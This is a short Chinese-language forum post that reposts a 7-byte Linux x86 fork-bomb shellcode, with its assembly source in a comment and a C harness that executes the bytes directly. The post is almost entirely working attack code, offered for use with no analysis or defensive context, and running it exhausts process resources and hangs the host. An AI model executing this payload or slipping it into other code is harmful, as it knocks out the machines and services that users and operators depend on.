发新话题
打印

linux/x86 forkbomb 7 bytes

linux/x86 forkbomb 7 bytes

复制内容到剪贴板
代码:
/* By Kris Katterjohn 8/29/2006
*
* 7 byte shellcode for a forkbomb
*
*
*
* section .text
*
*    global _start
*
* _start:
*    push byte 2
*    pop eax
*    int 0x80
*    jmp short _start
*/

main()
{
     char shellcode[] = "\x6a\x02\x58\xcd\x80\xeb\xf9";

     (*(void (*)()) shellcode)();
}
...退出这个无聊的娱乐圈!

TOP

发新话题